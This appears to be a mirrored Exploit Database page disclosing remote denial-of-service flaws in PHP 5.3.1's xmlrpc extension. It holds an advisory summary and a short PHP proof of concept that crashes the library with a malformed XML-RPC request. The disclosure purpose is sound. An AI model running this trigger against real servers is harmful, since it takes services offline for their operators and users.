PHP 5.3.2 ‘xmlrpc’ Extension – Multiple Remote Denial of Service Vulnerabilities

• Exploit Database
• 202 阅读

• 作者： Auke van Slooten
  日期： 2010-03-12
• 类别：

  • dos
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/33755/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

  source: https://www.securityfocus.com/bid/38708/info   PHP&apos;s xmlrpc extension library is prone to multiple denial-of-service vulnerabilities because it fails to properly handle crafted XML-RPC requests.   Exploiting these issues allows remote attackers to cause denial-of-service conditions in the context of an application using the vulnerable library.   PHP 5.3.1 is vulnerable; other versions may also be affected.   <?php $req = &apos;<?xml version="1.0"?> <methodCall> </methodCall>&apos;; $result = xmlrpc_decode_request( $req, $frop ); ?>